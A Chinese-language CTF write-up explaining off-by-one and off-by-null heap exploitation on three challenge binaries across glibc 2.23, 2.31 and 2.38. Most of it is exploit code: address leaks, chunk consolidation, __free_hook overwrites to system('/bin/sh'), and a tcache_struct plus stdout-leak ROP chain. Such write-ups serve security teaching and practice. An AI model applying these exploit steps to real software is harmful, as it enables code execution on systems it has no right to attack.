off by one近期题目详解
字数 1315 2025-08-20 18:18:11
Off-by-One漏洞利用技术详解
背景知识
Off-by-one漏洞是指由于边界条件验证不严格,导致向缓冲区写入数据时多写入一个字节的情况。在CTF比赛中常见的三种溢出方式:
- strcpy函数导致的溢出:当复制数据长度等于缓冲区最大容量时,strcpy会在结尾额外写入一个'\x00'字节
- 循环写入控制不当:循环次数计算错误导致多写入一个字节
- 故意设计的漏洞:如
size+1 <= max_content_size这样的条件判断
内部赛题目分析
环境信息
- glibc 2.31
- 无UAF漏洞
- 限制申请大小在0x100以内
漏洞点分析
edit_read函数中存在off-by-null漏洞- 通过
read(0, a1, 1)逐字节读取,直到遇到换行符 - 将换行符替换为'\x00'时可能导致溢出
利用思路
- 利用off-by-null在unsorted bin中实现chunk合并
- 修改fd指针实现任意地址写
- 最终目标是执行
system('/bin/sh')
详细利用流程
- 泄露堆地址:
add(0,0xf8,'aaaa')
add(1,0xf8,'aaaa')
delete(1)
delete(0)
add(1,0xf8,'')
show(1)
heap_base = u64(p.recv(6).ljust(8,'\x00'))-0x30a
- 布置堆布局:
for i in range(11):
add(i,0xf8,'')
for i in range(7):
delete(i)
delete(9)
- 泄露libc地址:
add(11,0x10,'')
show(11)
libc_base = u64(p.recv(6).ljust(8,'\x00'))-0x1ecc0a
- 伪造chunk实现合并:
pl = p64(0)+p64(0xf1)+p64(heap_base+0x9a0)+p64(heap_base+0x9a0)
pl = pl.ljust(0xf0,'\x00')
pl += p64(0xf0)
edit(7,pl)
delete(8)
- 修改fd指针:
for i in range(7):
add(i,0xf8,'')
add(9,0xf8,'')
delete(1)
delete(9)
pl = p64(0)+p64(0x100)+p64(free_hook)
edit(7,pl)
- 最终利用:
add(1,0xf8,'/bin/sh\x00')
add(9,0xf8,p64(system))
delete(1) # 触发free_hook执行system
ISCC线下赛-私地题目分析
环境信息
- glibc 2.23
- 存在chunk overlapping问题
漏洞点分析
edit_user函数中存在off-by-one漏洞- 读取用户名时使用
read_input(*(*(&heaparray + v1) + 8LL), **(&heaparray + v1) + 1LL) - 可以多写入一个字节
利用思路
- 利用off-by-one修改chunk size
- 通过chunk overlapping实现任意地址写
- 修改free_hook为system
详细利用流程
- 准备/bin/sh字符串:
add(0x10,'/bin/sh\x00')
- 泄露libc地址:
add(0x88,'aaaa')
add(0x18,'aaaa')
delete(1)
add(0x88,'a'*8)
show(1)
libc_base = u64(p.recv(6).ljust(8,'\x00'))-0x3c4b0a
- 利用off-by-one修改chunk size:
add(0x18,'')
add(0x18,'')
add(0x18,'')
add(0x18,'')
edit(2,p64(0)*3+p8(0x81))
delete(3)
- 实现任意地址写:
add(0x70,p64(0)*8+p64(0x10)+p64(free_hook))
edit(4,p64(system))
delete(0) # 触发free_hook
鹏城杯-babyheap题目分析
环境信息
- glibc 2.38
- 需要结合IO_leak和tcache_struct攻击
漏洞点分析
sub_13BE函数中存在off-by-null漏洞- 读取时会在末尾写入'\x00'
利用思路
- 利用off-by-null修改chunk元数据
- 结合IO_leak泄露栈地址
- 通过tcache_struct攻击实现ROP
详细利用流程
- 泄露堆地址:
heap_base = int(r(14),16)-0x2a0
- 初始堆布局:
add(0x418,p64(0)+p64(0x1880)+p64(heap_base+0x2c0)+p64(heap_base+0x2c0))
add(0x408,'aaaa')
add(0x408,'aaaa')
add(0x408,'aaaa')
add(0x418,'aaaa')
add(0x418,'aaaa')
add(0x4f8,'bbbb')
add(0x4f8,'bbbb')
- 利用off-by-null:
edit(5,0x418,'a'*0x410+p64(0x1880))
delete(6)
- 泄露libc地址:
add(0x408,'cccc')
add(0x488,'cccc')
add(0x488,'cccc')
delete(8)
add(0x498,'dddd')
show(1)
libc_base = u64(p.recv(6).ljust(8,'\x00'))-0x1ff0f0-0x20
- tcache_struct攻击:
pl = 'a'*0x380+p64(0)+p64(0x411)+p64((heap_base+0x10)^(heap_base>>12))
edit(9,0x400,pl)
add(0x408,'aaaa')
pl = p64(0x1)+p64(0)*14+p64(0x0007000000000000)+p64(0)*0x3f+p64(stdout)
add(0x408,pl)
- 泄露栈地址:
ru('\n')
stack = u64(p.recvuntil('\x7f').ljust(8,'\x00'))-0x120
- ROP利用:
pl = p64(0x1)+p64(0)*14+p64(0x0007000000000000)+p64(0)*0x3f+p64(stack-0x8)
edit(3,0x408,pl)
pl = p64(0)+p64(ret)+p64(pop_rdi)+p64(bin_sh)+p64(system)
add(0x400,pl)
menu(5) # 退出触发ROP
总结
-
不同glibc版本的利用差异:
- 2.23:可以直接利用unsorted bin合并
- 2.31:需要更复杂的堆布局
- 2.38:需要结合新的攻击技术如tcache_struct攻击
-
关键技巧:
- 精确控制堆布局
- 利用off-by-one修改关键元数据
- 结合其他泄露技术获取必要信息
- 根据环境选择合适的攻击路径
-
防御绕过:
- 针对不同保护机制(如tcache)调整利用方式
- 利用IO_file结构体泄露信息
- 在更高版本中使用ROP等技术绕过保护